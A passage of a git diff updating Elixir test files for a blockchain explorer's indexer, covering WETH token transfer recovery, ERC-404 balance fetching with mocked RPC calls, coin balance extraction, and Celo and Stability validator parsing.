block_3 + ) + + _tt_6 = + insert(:token_transfer, + from_address_hash: burn_address_hash_string(), + from_address: nil, + to_address: address_3, + token_contract_address: token_address, + block: log_6.block, + transaction: log_6.transaction, + log_index: log_6.index + ) + + assert MigrationStatus.get_status("recovery_weth_token_transfers") == nil + envs = Application.get_env(:indexer, Indexer.Migrator.RecoveryWETHTokenTransfers) + envs_tt = Application.get_env(:explorer, Explorer.Chain.TokenTransfer) + + Application.put_env( + :explorer, + Explorer.Chain.TokenTransfer, + Keyword.merge(envs, weth_token_transfers_filtering_enabled: false) + ) + + Application.put_env( + :indexer, + Indexer.Migrator.RecoveryWETHTokenTransfers, + Keyword.merge(envs, batch_size: 1, concurrency: 2, blocks_batch_size: 1) + ) + + RecoveryWETHTokenTransfers.start_link([]) + Process.sleep(1000) + + assert MigrationStatus.get_status("recovery_weth_token_transfers") == "completed" + + assert [tt_1, tt_2, _tt_3, _tt_4, tt_5, _tt_6] = Repo.all(TokenTransfer |> order_by([tt], asc: tt.log_index)) + check_withdrawal_token_transfer(tt_1, log_1) + check_withdrawal_token_transfer(tt_2, log_2) + check_deposit_token_transfer(tt_5, log_5) + + Application.put_env(:indexer, Indexer.Migrator.RecoveryWETHTokenTransfers, envs) + Application.put_env(:explorer, Explorer.Chain.TokenTransfer, envs_tt) + end + end + + def check_withdrawal_token_transfer(tt, log) do + {amount, _} = log.data |> to_string() |> String.trim_leading("0x") |> Integer.parse(16) + + assert Decimal.to_integer(tt.amount) == amount + assert to_string(tt.from_address_hash) == "0x" <> (log.second_topic |> to_string() |> String.slice(-40, 40)) + assert to_string(tt.to_address_hash) == burn_address_hash_string() + assert tt.token_contract_address_hash == log.address_hash + end + + def check_deposit_token_transfer(tt, log) do + {amount, _} = log.data |> to_string() |> String.trim_leading("0x") |> Integer.parse(16) + + assert Decimal.to_integer(tt.amount) == amount + assert to_string(tt.to_address_hash) == "0x" <> (log.second_topic |> to_string() |> String.slice(-40, 40)) + assert to_string(tt.from_address_hash) == burn_address_hash_string() + assert tt.token_contract_address_hash == log.address_hash + end +end diff --git a/apps/indexer/test/indexer/pending_ops_cleaner_test.exs b/apps/indexer/test/indexer/pending_ops_cleaner_test.exs index f8f1cbdb30b6..51c251b3f62f 100644 --- a/apps/indexer/test/indexer/pending_ops_cleaner_test.exs +++ b/apps/indexer/test/indexer/pending_ops_cleaner_test.exs @@ -5,10 +5,17 @@ defmodule Indexer.PendingOpsCleanerTest do alias Indexer.PendingOpsCleaner describe "init/1" do + setup do + config = Application.get_env(:ethereum_jsonrpc, EthereumJSONRPC.Geth) + Application.put_env(:ethereum_jsonrpc, EthereumJSONRPC.Geth, Keyword.put(config, :block_traceable?, true)) + + on_exit(fn -> Application.put_env(:ethereum_jsonrpc, EthereumJSONRPC.Geth, config) end) + end + test "deletes non-consensus pending ops on init" do block = insert(:block, consensus: false) - insert(:pending_block_operation, block_hash: block.hash, fetch_internal_transactions: true) + insert(:pending_block_operation, block_hash: block.hash, block_number: block.number) assert Repo.one(from(block in PendingBlockOperation, where: block.block_hash == ^block.hash)) @@ -24,7 +31,7 @@ defmodule Indexer.PendingOpsCleanerTest do block = insert(:block, consensus: false) - insert(:pending_block_operation, block_hash: block.hash, fetch_internal_transactions: true) + insert(:pending_block_operation, block_hash: block.hash, block_number: block.number) Process.sleep(2_000) diff --git a/apps/indexer/test/indexer/temporary/uncataloged_token_transfers_test.exs b/apps/indexer/test/indexer/temporary/uncataloged_token_transfers_test.exs index 79fc9914f926..d5176747577a 100644 --- a/apps/indexer/test/indexer/temporary/uncataloged_token_transfers_test.exs +++ b/apps/indexer/test/indexer/temporary/uncataloged_token_transfers_test.exs @@ -1,7 +1,6 @@ defmodule Indexer.Temporary.UncatalogedTokenTransfersTest do use Explorer.DataCase - alias Indexer.Block.Catchup.Sequence alias Indexer.Temporary.UncatalogedTokenTransfers @moduletag :capture_log @@ -47,6 +46,7 @@ defmodule Indexer.Temporary.UncatalogedTokenTransfersTest do insert(:token_transfer_log, transaction: transaction, address_hash: address.hash, + address: address, block: block ) @@ -63,7 +63,6 @@ defmodule Indexer.Temporary.UncatalogedTokenTransfersTest do describe "handle_info with :push_front_blocks" do test "starts a task" do task_sup_pid = start_supervised!({Task.Supervisor, name: UncatalogedTokenTransfers.TaskSupervisor}) - start_supervised!({Sequence, [[ranges: [], step: -1], [name: :block_catchup_sequencer]]}) state = %{task_ref: nil, block_numbers: [1]} assert {:noreply, %{task_ref: task_ref}} = UncatalogedTokenTransfers.handle_info(:push_front_blocks, state) diff --git a/apps/indexer/test/indexer/token_balances_test.exs b/apps/indexer/test/indexer/token_balances_test.exs index 2f5c89c1a6dc..92265544486c 100644 --- a/apps/indexer/test/indexer/token_balances_test.exs +++ b/apps/indexer/test/indexer/token_balances_test.exs @@ -88,6 +88,63 @@ defmodule Indexer.TokenBalancesTest do } = result end + test "fetches balances of ERC-404 tokens" do + address = insert(:address, hash: "0x609991ca0ae39bc4eaf2669976237296d40c2f31") + + address_hash_string = Hash.to_string(address.hash) + + token_contract_address_hash = "0xf7f79032fd395978acb7069c74d21e5a53206559" + + contract_address = insert(:address, hash: token_contract_address_hash) + + token = insert(:token, contract_address: contract_address) + + data = [ + %{ + token_contract_address_hash: Hash.to_string(token.contract_address_hash), + address_hash: address_hash_string, + block_number: 1_000, + token_id: nil, + value: 10, + token_type: "ERC-404" + }, + %{ + token_contract_address_hash: Hash.to_string(token.contract_address_hash), + address_hash: address_hash_string, + block_number: 1_000, + token_id: 5, + token_type: "ERC-404", + value: 2 + } + ] + + get_404_ft_balances_from_blockchain() + get_404_nft_balances_from_blockchain() + + {:ok, result} = TokenBalances.fetch_token_balances_from_blockchain(data) + + assert %{ + failed_token_balances: [], + fetched_token_balances: [ + %{ + value: 10, + token_contract_address_hash: ^token_contract_address_hash, + address_hash: ^address_hash_string, + block_number: 1_000, + value_fetched_at: _ + }, + %{ + token_id: 5, + value: 2, + token_contract_address_hash: ^token_contract_address_hash, + address_hash: ^address_hash_string, + block_number: 1_000, + value_fetched_at: _ + } + ] + } = result + end + test "fetches multiple balances of tokens" do address_1 = insert(:address, hash: "0xecba3c9ea993b0e0594e0b0a0d361a1f9596e310") address_2 = insert(:address, hash: "0x609991ca0ae39bc4eaf2669976237296d40c2f31") @@ -363,6 +420,67 @@ defmodule Indexer.TokenBalancesTest do ) end + defp get_404_ft_balances_from_blockchain() do + expect( + EthereumJSONRPC.Mox, + :json_rpc, + fn [ + %{ + id: id, + method: "eth_call", + params: [ + %{ + data: "0x70a08231000000000000000000000000609991ca0ae39bc4eaf2669976237296d40c2f31", + to: "0xf7f79032fd395978acb7069c74d21e5a53206559" + }, + "0x3E8" + ] + } + ], + _options -> + {:ok, + [ + %{ + id: id, + jsonrpc: "2.0", + result: "0x000000000000000000000000000000000000000000000000000000000000000a" + } + ]} + end + ) + end + + defp get_404_nft_balances_from_blockchain() do + expect( + EthereumJSONRPC.Mox, + :json_rpc, + fn [ + %{ + id: id, + method: "eth_call", + params: [ + %{ + data: + "0x00fdd58e000000000000000000000000609991ca0ae39bc4eaf2669976237296d40c2f310000000000000000000000000000000000000000000000000000000000000005", + to: "0xf7f79032fd395978acb7069c74d21e5a53206559" + }, + "0x3E8" + ] + } + ], + _options -> + {:ok, + [ + %{ + id: id, + jsonrpc: "2.0", + result: "0x0000000000000000000000000000000000000000000000000000000000000002" + } + ]} + end + ) + end + defp get_erc1155_balance_from_blockchain() do expect( EthereumJSONRPC.Mox, diff --git a/apps/indexer/test/indexer/transform/address_coin_balances_test.exs b/apps/indexer/test/indexer/transform/address_coin_balances_test.exs index 6a6627dda70e..91985ac51621 100644 --- a/apps/indexer/test/indexer/transform/address_coin_balances_test.exs +++ b/apps/indexer/test/indexer/transform/address_coin_balances_test.exs @@ -27,16 +27,25 @@ defmodule Indexer.Transform.AddressCoinBalancesTest do assert MapSet.size(params_set) == 0 end - test "with call internal transaction extracts nothing" do + test "with call internal transaction extracts from_address_hash and to_address_hash" do + block_number = 1 + from_address_hash = to_string(Factory.address_hash()) + to_address_hash = to_string(Factory.address_hash()) + internal_transaction_params = :internal_transaction |> Factory.params_for() - |> Map.update!(:type, &to_string/1) - |> Map.put(:block_number, 1) + |> Map.put(:type, "call") + |> Map.put(:call_type, "call") + |> Map.put(:block_number, block_number) + |> Map.put(:from_address_hash, from_address_hash) + |> Map.put(:to_address_hash, to_address_hash) params_set = AddressCoinBalances.params_set(%{internal_transactions_params: [internal_transaction_params]}) - assert MapSet.size(params_set) == 0 + assert MapSet.size(params_set) == 2 + assert MapSet.member?(params_set, %{address_hash: from_address_hash, block_number: block_number}) + assert MapSet.member?(params_set, %{address_hash: to_address_hash, block_number: block_number}) end test "with create internal transaction with error extracts nothing" do @@ -69,7 +78,53 @@ defmodule Indexer.Transform.AddressCoinBalancesTest do params_set = AddressCoinBalances.params_set(%{internal_transactions_params: [internal_transaction_params]}) assert MapSet.size(params_set) == 1 - assert %{address_hash: created_contract_address_hash, block_number: block_number} + assert MapSet.member?(params_set, %{address_hash: created_contract_address_hash, block_number: block_number}) + end + + test "with create2 internal transaction without error extracts created_contract_address_hash and from_address_hash" do + block_number = 1 + + created_contract_address_hash = + Factory.address_hash() + |> to_string() + + from_address_hash = + Factory.address_hash() + |> to_string() + + internal_transaction_params = + :internal_transaction_create + |> Factory.params_for() + |> Map.put(:type, "create2") + |> Map.put(:block_number, block_number) + |> Map.put(:created_contract_address_hash, created_contract_address_hash) + |> Map.put(:from_address_hash, from_address_hash) + + params_set = AddressCoinBalances.params_set(%{internal_transactions_params: [internal_transaction_params]}) + + assert MapSet.size(params_set) == 2 + assert MapSet.member?(params_set, %{address_hash: created_contract_address_hash, block_number: block_number}) + assert MapSet.member?(params_set, %{address_hash: from_address_hash, block_number: block_number}) + end + + test "ignores call internal transaction with call type that does not change balances" do + block_number = 1 + + from_address_hash = + Factory.address_hash() + |> to_string() + + internal_transaction_params = + :internal_transaction + |> Factory.params_for() + |> Map.put(:type, "call") + |> Map.put(:call_type, "staticcall") + |> Map.put(:block_number, block_number) + |> Map.put(:from_address_hash, from_address_hash) + + params_set = AddressCoinBalances.params_set(%{internal_transactions_params: [internal_transaction_params]}) + + assert MapSet.size(params_set) == 0 end test "with self-destruct internal transaction extracts from_address_hash and to_address_hash" do @@ -94,8 +149,8 @@ defmodule Indexer.Transform.AddressCoinBalancesTest do params_set = AddressCoinBalances.params_set(%{internal_transactions_params: [internal_transaction_params]}) assert MapSet.size(params_set) == 2 - assert %{address_hash: from_address_hash, block_number: block_number} - assert %{address_hash: to_address_hash, block_number: block_number} + assert MapSet.member?(params_set, %{address_hash: from_address_hash, block_number: block_number}) + assert MapSet.member?(params_set, %{address_hash: to_address_hash, block_number: block_number}) end test "with log extracts address_hash" do @@ -110,6 +165,7 @@ defmodule Indexer.Transform.AddressCoinBalancesTest do |> Factory.params_for() |> Map.put(:block_number, block_number) |> Map.put(:address_hash, address_hash) + |> Map.put(:first_topic, nil) params_set = AddressCoinBalances.params_set(%{logs_params: [log_params]}) @@ -129,6 +185,7 @@ defmodule Indexer.Transform.AddressCoinBalancesTest do |> Factory.params_for() |> Map.put(:block_number, nil) |> Map.put(:address_hash, address_hash) + |> Map.put(:first_topic, nil) |> Map.put(:type, "pending") log_params2 = @@ -136,6 +193,7 @@ defmodule Indexer.Transform.AddressCoinBalancesTest do |> Factory.params_for() |> Map.put(:block_number, block_number) |> Map.put(:address_hash, address_hash) + |> Map.put(:first_topic, nil) params_set = AddressCoinBalances.params_set(%{logs_params: [log_params1, log_params2]}) @@ -159,7 +217,7 @@ defmodule Indexer.Transform.AddressCoinBalancesTest do params_set = AddressCoinBalances.params_set(%{transactions_params: [transaction_params]}) assert MapSet.size(params_set) == 1 - assert %{address_hash: from_address_hash, block_number: block_number} + assert MapSet.member?(params_set, %{address_hash: from_address_hash, block_number: block_number}) end test "with transaction with to_address_hash extracts from_address_hash and to_address_hash" do @@ -183,8 +241,8 @@ defmodule Indexer.Transform.AddressCoinBalancesTest do params_set = AddressCoinBalances.params_set(%{transactions_params: [transaction_params]}) assert MapSet.size(params_set) == 2 - assert %{address_hash: from_address_hash, block_number: block_number} - assert %{address_hash: to_address_hash, block_number: block_number} + assert MapSet.member?(params_set, %{address_hash: from_address_hash, block_number: block_number}) + assert MapSet.member?(params_set, %{address_hash: to_address_hash, block_number: block_number}) end end end diff --git a/apps/indexer/test/indexer/transform/address_token_balances_test.exs b/apps/indexer/test/indexer/transform/address_token_balances_test.exs index 82009ffab2f4..28b67ac2ffa7 100644 --- a/apps/indexer/test/indexer/transform/address_token_balances_test.exs +++ b/apps/indexer/test/indexer/transform/address_token_balances_test.exs @@ -25,8 +25,9 @@ defmodule Indexer.Transform.AddressTokenBalancesTest do from_address_hash: from_address_hash, to_address_hash: to_address_hash, token_contract_address_hash: token_contract_address_hash, - token_id: nil, - token_type: "ERC-20" + token_ids: nil, + token_type: "ERC-20", + token: %{type: "ERC-20"} } params_set = AddressTokenBalances.params_set(%{token_transfers_params: [token_transfer_params]}) @@ -49,7 +50,8 @@ defmodule Indexer.Transform.AddressTokenBalancesTest do to_address_hash: to_address_hash, token_contract_address_hash: token_contract_address_hash, token_type: "ERC-721", - token_id: nil + token: %{type: "ERC-721"}, + token_ids: nil } params_set = AddressTokenBalances.params_set(%{token_transfers_params: [token_transfer_params]}) @@ -66,7 +68,7 @@ defmodule Indexer.Transform.AddressTokenBalancesTest do ]) end - test "does not set params when the to_address_hash is the burn address for the Token ERC-721" do + test "does set params when the to_address_hash is the burn address for the Token ERC-721" do block_number = 1 from_address_hash = "0x5b8410f67eb8040bb1cd1e8a4ff9d5f6ce678a15" to_address_hash = "0x0000000000000000000000000000000000000000" @@ -77,12 +79,23 @@ defmodule Indexer.Transform.AddressTokenBalancesTest do from_address_hash: from_address_hash, to_address_hash: to_address_hash, token_contract_address_hash: token_contract_address_hash, - token_type: "ERC-721" + token_type: "ERC-721", + token: %{type: "ERC-1155"}, + token_ids: [1] } params_set = AddressTokenBalances.params_set(%{token_transfers_params: [token_transfer_params]}) - assert MapSet.size(params_set) == 0 + assert params_set == + MapSet.new([ + %{ + address_hash: "0x5b8410f67eb8040bb1cd1e8a4ff9d5f6ce678a15", + block_number: 1, + token_contract_address_hash: "0xe18035bf8712672935fdb4e5e431b1a0183d2dfc", + token_id: 1, + token_type: "ERC-1155" + } + ]) end end end diff --git a/apps/indexer/test/indexer/transform/addresses.exs b/apps/indexer/test/indexer/transform/addresses.exs index 21d79058ac54..d1f21d74553d 100644 --- a/apps/indexer/test/indexer/transform/addresses.exs +++ b/apps/indexer/test/indexer/transform/addresses.exs @@ -231,7 +231,7 @@ defmodule Indexer.Transform.AddressesTest do test "only entities data defined in @entity_to_address_map are collected" do blockchain_data = %{ blocks: [%{miner_hash: "0xe8ddc5c7a2d2f0d7a9798459c0104fdf5e987aca", number: 34}], - unkown_entity: [%{hash: "0x8bf38d4764929064f2d4d3a56520a76ab3df415b"}] + unknown_entity: [%{hash: "0x8bf38d4764929064f2d4d3a56520a76ab3df415b"}] } assert Addresses.extract_addresses(blockchain_data) == [ diff --git a/apps/indexer/test/indexer/transform/celo/validator_epoch_payment_distributions_test.exs b/apps/indexer/test/indexer/transform/celo/validator_epoch_payment_distributions_test.exs new file mode 100644 index 000000000000..edd4db17981b --- /dev/null +++ b/apps/indexer/test/indexer/transform/celo/validator_epoch_payment_distributions_test.exs @@ -0,0 +1,69 @@ +defmodule Indexer.Transform.Celo.ValidatorEpochPaymentDistributionsTest do + use EthereumJSONRPC.Case + use Explorer.DataCase + + alias Explorer.Chain.Hash + alias Indexer.Transform.Celo.ValidatorEpochPaymentDistributions + + describe "parse/1" do + setup do + old_env = Application.get_env(:explorer, Explorer.Chain.Cache.CeloCoreContracts, []) + + validator = insert(:address) + + Application.put_env( + :explorer, + Explorer.Chain.Cache.CeloCoreContracts, + Keyword.merge(old_env, + contracts: %{ + "addresses" => %{ + "Validators" => [ + %{"address" => to_string(validator.hash), "updated_at_block_number" => 0} + ] + } + } + ) + ) + + on_exit(fn -> Application.put_env(:explorer, Explorer.Chain.Cache.CeloCoreContracts, old_env) end) + + %{validator: validator} + end + + test "parses log", %{validator: validator} do + transaction = + :transaction + |> insert() + |> with_block() + + log = + insert(:log, + transaction_hash: transaction.hash, + transaction: transaction, + address_hash: validator.hash, + address: validator, + first_topic: ValidatorEpochPaymentDistributions.signature(), + second_topic: "0x0000000000000000000000003078323232323232323232323232323232323232", + third_topic: "0x0000000000000000000000003078333333333333333333333333333333333333", + data: "0x" <> Base.encode16(ABI.encode("(uint256,uint256)", [{123, 456}]), case: :lower) + ) + + logs = [log] + + assert [ + %{ + group_address: %Hash{ + byte_count: 20, + bytes: "3078333333333333333333333333333333333333" |> Base.decode16!(case: :lower) + }, + group_payment: 456, + validator_address: %Hash{ + byte_count: 20, + bytes: "3078323232323232323232323232323232323232" |> Base.decode16!(case: :lower) + }, + validator_payment: 123 + } + ] == ValidatorEpochPaymentDistributions.parse(logs) + end + end +end diff --git a/apps/indexer/test/indexer/transform/mint_transfers_test.exs b/apps/indexer/test/indexer/transform/mint_transfers_test.exs index 90375cb96a75..4670e983a272 100644 --- a/apps/indexer/test/indexer/transform/mint_transfers_test.exs +++ b/apps/indexer/test/indexer/transform/mint_transfers_test.exs @@ -17,8 +17,7 @@ defmodule Indexer.Transform.MintTransfersTest do index: 1, second_topic: "0x0000000000000000000000009a4a90e2732f3fa4087b0bb4bf85c76d14833df1", third_topic: "0x0000000000000000000000007301cfa0e1756b71869e93d4e4dca5c7d0eb0aa6", - transaction_hash: "0x1d5066d30ff3404a9306733136103ac2b0b989951c38df637f464f3667f8d4ee", - type: "mined" + transaction_hash: "0x1d5066d30ff3404a9306733136103ac2b0b989951c38df637f464f3667f8d4ee" } ] @@ -36,7 +35,7 @@ defmodule Indexer.Transform.MintTransfersTest do end end - test "returns an empty list when the first topic isn't the brigde hash" do + test "returns an empty list when the first topic isn't the bridge hash" do logs = [ %{ address_hash: "0x867305d19606aadba405ce534e303d0e225f9556", @@ -47,8 +46,7 @@ defmodule Indexer.Transform.MintTransfersTest do index: 1, second_topic: "0x0000000000000000000000009a4a90e2732f3fa4087b0bb4bf85c76d14833df1", third_topic: "0x0000000000000000000000007301cfa0e1756b71869e93d4e4dca5c7d0eb0aa6", - transaction_hash: "0x1d5066d30ff3404a9306733136103ac2b0b989951c38df637f464f3667f8d4ee", - type: "mined" + transaction_hash: "0x1d5066d30ff3404a9306733136103ac2b0b989951c38df637f464f3667f8d4ee" } ] diff --git a/apps/indexer/test/indexer/transform/stability/validators_test.exs b/apps/indexer/test/indexer/transform/stability/validators_test.exs new file mode 100644 index 000000000000..b135a9f5be87 --- /dev/null +++ b/apps/indexer/test/indexer/transform/stability/validators_test.exs @@ -0,0 +1,162 @@ +if Application.compile_env(:explorer, :chain_type) == :stability do + defmodule Indexer.Transform.Stability.ValidatorsTest do + use ExUnit.Case, async: true + + alias Indexer.Transform.Stability.Validators + + describe "parse/1" do + setup do + # Save original chain type and restore after each test + original_chain_type = Application.get_env(:explorer, :chain_type) + + on_exit(fn -> + Application.put_env(:explorer, :chain_type, original_chain_type) + end) + + :ok + end + + test "parses blocks for stability chain type and returns validator counter updates" do + Application.put_env(:explorer, :chain_type, :stability) + + blocks = [ + %{ + number: 100, + hash: "0xabc123", + miner_hash: "0x1234567890abcdef1234567890abcdef12345678" + }, + %{ + number: 101, + hash: "0xdef456", + miner_hash: "0x1234567890abcdef1234567890abcdef12345678" + }, + %{ + number: 102, + hash: "0x789012", + miner_hash: "0xabcdef1234567890abcdef1234567890abcdef12" + } + ] + + result = Validators.parse(blocks) + + expected = [ + %{ + address_hash: "0x1234567890abcdef1234567890abcdef12345678", + blocks_validated: 2 + }, + %{ + address_hash: "0xabcdef1234567890abcdef1234567890abcdef12", + blocks_validated: 1 + } + ] + + # Sort both lists by address_hash for comparison + sorted_result = Enum.sort_by(result, & &1.address_hash) + sorted_expected = Enum.sort_by(expected, & &1.address_hash) + + assert sorted_result == sorted_expected + end + + test "filters out blocks with nil miner_hash" do + Application.put_env(:explorer, :chain_type, :stability) + + blocks = [ + %{ + number: 100, + hash: "0xabc123", + miner_hash: "0x1234567890abcdef1234567890abcdef12345678" + }, + %{ + number: 101, + hash: "0xdef456", + miner_hash: nil + }, + %{ + number: 102, + hash: "0x789012" + # no miner_hash field + } + ] + + result = Validators.parse(blocks) + + expected = [ + %{ + address_hash: "0x1234567890abcdef1234567890abcdef12345678", + blocks_validated: 1 + } + ] + + assert result == expected + end + + test "returns empty list for non-stability chain type" do + Application.put_env(:explorer, :chain_type, :ethereum) + + blocks = [ + %{ + number: 100, + hash: "0xabc123", + miner_hash: "0x1234567890abcdef1234567890abcdef12345678" + }, + %{ + number: 101, + hash: "0xdef456", + miner_hash: "0xabcdef1234567890abcdef1234567890abcdef12" + } + ] + + result = Validators.parse(blocks) + + assert result == [] + end + + test "returns empty list for empty blocks list" do + Application.put_env(:explorer, :chain_type, :stability) + + result = Validators.parse([]) + + assert result == [] + end + + test "returns empty list for nil input" do + Application.put_env(:explorer, :chain_type, :stability) + + result = Validators.parse(nil) + + assert result == [] + end + + test "groups multiple blocks by same validator correctly" do + Application.put_env(:explorer, :chain_type, :stability) + + blocks = [ + %{number: 100, hash: "0x1", miner_hash: "0x1111"}, + %{number: 101, hash: "0x2", miner_hash: "0x1111"}, + %{number: 102, hash: "0x3", miner_hash: "0x1111"}, + %{number: 103, hash: "0x4", miner_hash: "0x2222"}, + %{number: 104, hash: "0x5", miner_hash: "0x1111"} + ] + + result = Validators.parse(blocks) + + expected = [ + %{ + address_hash: "0x1111", + blocks_validated: 4 + }, + %{ + address_hash: "0x2222", + blocks_validated: 1 + } + ] + + # Sort both lists by address_hash for comparison + sorted_result = Enum.sort_by(result, & &1.address_hash) + sorted_expected = Enum.sort_by(expected, & &1.address_hash) + + assert sorted_result == sorted_expected + end + end + end +end diff --git a/apps/indexer/test/indexer/transform/token_transfers_test.exs b/apps/indexer/test/indexer/transform/token_transfers_test.exs index dbea962c321e..f25c207681bc 100644 --- a/apps/indexer/test/indexer/transform/token_transfers_test.exs +++ b/apps/indexer/test/indexer/transform/token_transfers_test.exs @@ -1,5 +1,5 @@ defmodule Indexer.Transform.TokenTransfersTest do - use ExUnit.Case + use Explorer.DataCase import ExUnit.CaptureLog @@ -7,7 +7,7 @@ defmodule Indexer.Transform.TokenTransfersTest do describe "parse/1" do test "parse/1 parses logs for tokens and token transfers" do - [log_1, _log_2, log_3] = + [log_1, _log_2, log_3, weth_deposit_log, weth_withdrawal_log] = logs = [ %{ address_hash: "0xf2eec76e45b328df99a34fa696320a262cb92154", @@ -19,8 +19,7 @@ defmodule Indexer.Transform.TokenTransfersTest do index: 8, second_topic: "0x000000000000000000000000556813d9cc20acfe8388af029a679d34a63388db", third_topic: "0x00000000000000000000000092148dd870fa1b7c4700f2bd7f44238821c26f73", - transaction_hash: "0x43dfd761974e8c3351d285ab65bee311454eb45b149a015fe7804a33252f19e5", - type: "mined" + transaction_hash: "0x43dfd761974e8c3351d285ab65bee311454eb45b149a015fe7804a33252f19e5" }, %{ address_hash: "0x6ea5ec9cb832e60b6b1654f5826e9be638f276a5", @@ -32,8 +31,7 @@ defmodule Indexer.Transform.TokenTransfersTest do index: 0, second_topic: "0x00000000000000000000000063b0595bb7a0b7edd0549c9557a0c8aee6da667b", third_topic: "0x000000000000000000000000f3089e15d0c23c181d7f98b0878b560bfe193a1d", - transaction_hash: "0x8425a9b81a9bd1c64861110c1a453b84719cb0361d6fa0db68abf7611b9a890e", - type: "mined" + transaction_hash: "0x8425a9b81a9bd1c64861110c1a453b84719cb0361d6fa0db68abf7611b9a890e" }, %{ address_hash: "0x91932e8c6776fb2b04abb71874a7988747728bb2", @@ -45,8 +43,31 @@ defmodule Indexer.Transform.TokenTransfersTest do index: 1, second_topic: "0x0000000000000000000000009851ba177554eb07271ac230a137551e6dd0aa84", third_topic: "0x000000000000000000000000dccb72afee70e60b0c1226288fe86c01b953e8ac", - transaction_hash: "0x4011d9a930a3da620321589a54dc0ca3b88216b4886c7a7c3aaad1fb17702d35", - type: "mined" + transaction_hash: "0x4011d9a930a3da620321589a54dc0ca3b88216b4886c7a7c3aaad1fb17702d35" + }, + %{ + address_hash: "0x0BE9e53fd7EDaC9F859882AfdDa116645287C629", + block_number: 23_704_638, + block_hash: "0x8f61c99b0dd1196714ffda5bf979a282e6a62fdd3cff25c291284e6b57de2106", + data: "0x00000000000000000000000000000000000000000000002be19edfcf6b480000", + first_topic: "0xe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c", + second_topic: "0x000000000000000000000000fb76e9e7d88e308ab530330ed90e84a952570319", + third_topic: nil, + fourth_topic: nil, + index: 1, + transaction_hash: "0x185889bc91372106ecf114a4e23f4ee615e131ae3e698078bd5d2ed7e3f55a49" + }, + %{ + address_hash: "0x0BE9e53fd7EDaC9F859882AfdDa116645287C629", + block_number: 23_704_608, + block_hash: "0x5a5e69984f78d65fc6d92e18058d21a9b114f1d56d06ca7aa017b3d87bf0491a", + data: "0x00000000000000000000000000000000000000000000000000e1315e1ebd28e8", + first_topic: "0x7fcf532c15f0a6db0bd6d0e038bea71d30d808c7d98cb3bf7268a95bf5081b65", + second_topic: "0x000000000000000000000000e3f85aad0c8dd7337427b9df5d0fb741d65eeeb5", + third_topic: nil, + fourth_topic: nil, + index: 1, + transaction_hash: "0x07510dbfddbac9064f7d607c2d9a14aa26fa19cdfcd578c0b585ff2395df543f" } ] @@ -59,6 +80,10 @@ defmodule Indexer.Transform.TokenTransfersTest do %{ contract_address_hash: log_1.address_hash, type: "ERC-20" + }, + %{ + contract_address_hash: weth_withdrawal_log.address_hash, + type: "ERC-20" } ], token_transfers: [ @@ -68,13 +93,13 @@ defmodule Indexer.Transform.TokenTransfersTest do from_address_hash: truncated_hash(log_3.second_topic), to_address_hash: truncated_hash(log_3.third_topic), token_contract_address_hash: log_3.address_hash, - token_id: 183, + token_ids: [183], transaction_hash: log_3.transaction_hash, token_type: "ERC-721", block_hash: log_3.block_hash }, %{ - token_id: nil, + token_ids: nil, amount: Decimal.new(17_000_000_000_000_000_000), block_number: log_1.block_number, log_index: log_1.index, @@ -84,11 +109,47 @@ defmodule Indexer.Transform.TokenTransfersTest do transaction_hash: log_1.transaction_hash, token_type: "ERC-20", block_hash: log_1.block_hash + }, + %{ + amount: Decimal.new("63386150072297704"), + block_hash: weth_withdrawal_log.block_hash, + block_number: weth_withdrawal_log.block_number, + from_address_hash: truncated_hash(weth_withdrawal_log.second_topic), + log_index: 1, + to_address_hash: "0x0000000000000000000000000000000000000000", + token_contract_address_hash: weth_withdrawal_log.address_hash, + token_ids: nil, + token_type: "ERC-20", + transaction_hash: weth_withdrawal_log.transaction_hash + }, + %{ + amount: Decimal.new("809467672956315893760"), + block_hash: weth_deposit_log.block_hash, + block_number: weth_deposit_log.block_number, + from_address_hash: "0x0000000000000000000000000000000000000000", + log_index: 1, + to_address_hash: truncated_hash(weth_deposit_log.second_topic), + token_contract_address_hash: weth_deposit_log.address_hash, + token_ids: nil, + token_type: "ERC-20", + transaction_hash: weth_deposit_log.transaction_hash } ] } + env = Application.get_env(:explorer, Explorer.Chain.TokenTransfer) + + Application.put_env( + :explorer, + Explorer.Chain.TokenTransfer, + Keyword.put(env, :whitelisted_weth_contracts, [ + weth_deposit_log.address_hash |> to_string() |> String.downcase() + ]) + ) + assert TokenTransfers.parse(logs) == expected + + Application.put_env(:explorer, Explorer.Chain.TokenTransfer, env) end test "parses ERC-721 transfer with addresses in data field" do @@ -103,8 +164,7 @@ defmodule Indexer.Transform.TokenTransfersTest do second_topic: nil, third_topic: nil, transaction_hash: "0x6d2dd62c178e55a13b65601f227c4ffdd8aa4e3bcb1f24731363b4f7619e92c8", - block_hash: "0x79594150677f083756a37eee7b97ed99ab071f502104332cb3835bac345711ca", - type: "mined" + block_hash: "0x79594150677f083756a37eee7b97ed99ab071f502104332cb3835bac345711ca" } expected = %{ @@ -122,7 +182,7 @@ defmodule Indexer.Transform.TokenTransfersTest do to_address_hash: "0xbe8cdfc13ffda20c844ac3da2b53a23ac5787f1e", block_hash: "0x79594150677f083756a37eee7b97ed99ab071f502104332cb3835bac345711ca", token_contract_address_hash: log.address_hash, - token_id: 14_939, + token_ids: [14_939], transaction_hash: log.transaction_hash, token_type: "ERC-721" } @@ -139,13 +199,12 @@ defmodule Indexer.Transform.TokenTransfersTest do data: "0x1000000000000c520000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001", first_topic: "0xc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f62", - secon_topic: "0x0000000000000000000000009c978f4cfa1fe13406bcc05baf26a35716f881dd", + second_topic: "0x0000000000000000000000009c978f4cfa1fe13406bcc05baf26a35716f881dd", third_topic: "0x0000000000000000000000009c978f4cfa1fe13406bcc05baf26a35716f881dd", fourth_topic: "0x0000000000000000000000009c978f4cfa1fe13406bcc05baf26a35716f881dd", index: 2, transaction_hash: "0x6d2dd62c178e55a13b65601f227c4ffdd8aa4e3bcb1f24731363b4f7619e92c8", - block_hash: "0x79594150677f083756a37eee7b97ed99ab071f502104332cb3835bac345711ca", - type: "mined" + block_hash: "0x79594150677f083756a37eee7b97ed99ab071f502104332cb3835bac345711ca" } assert TokenTransfers.parse([log]) == %{ @@ -158,8 +217,9 @@ defmodule Indexer.Transform.TokenTransfersTest do log_index: 2, to_address_hash: "0x9c978f4cfa1fe13406bcc05baf26a35716f881dd", token_contract_address_hash: "0x58Ab73CB79c8275628E0213742a85B163fE0A9Fb", - token_id: - 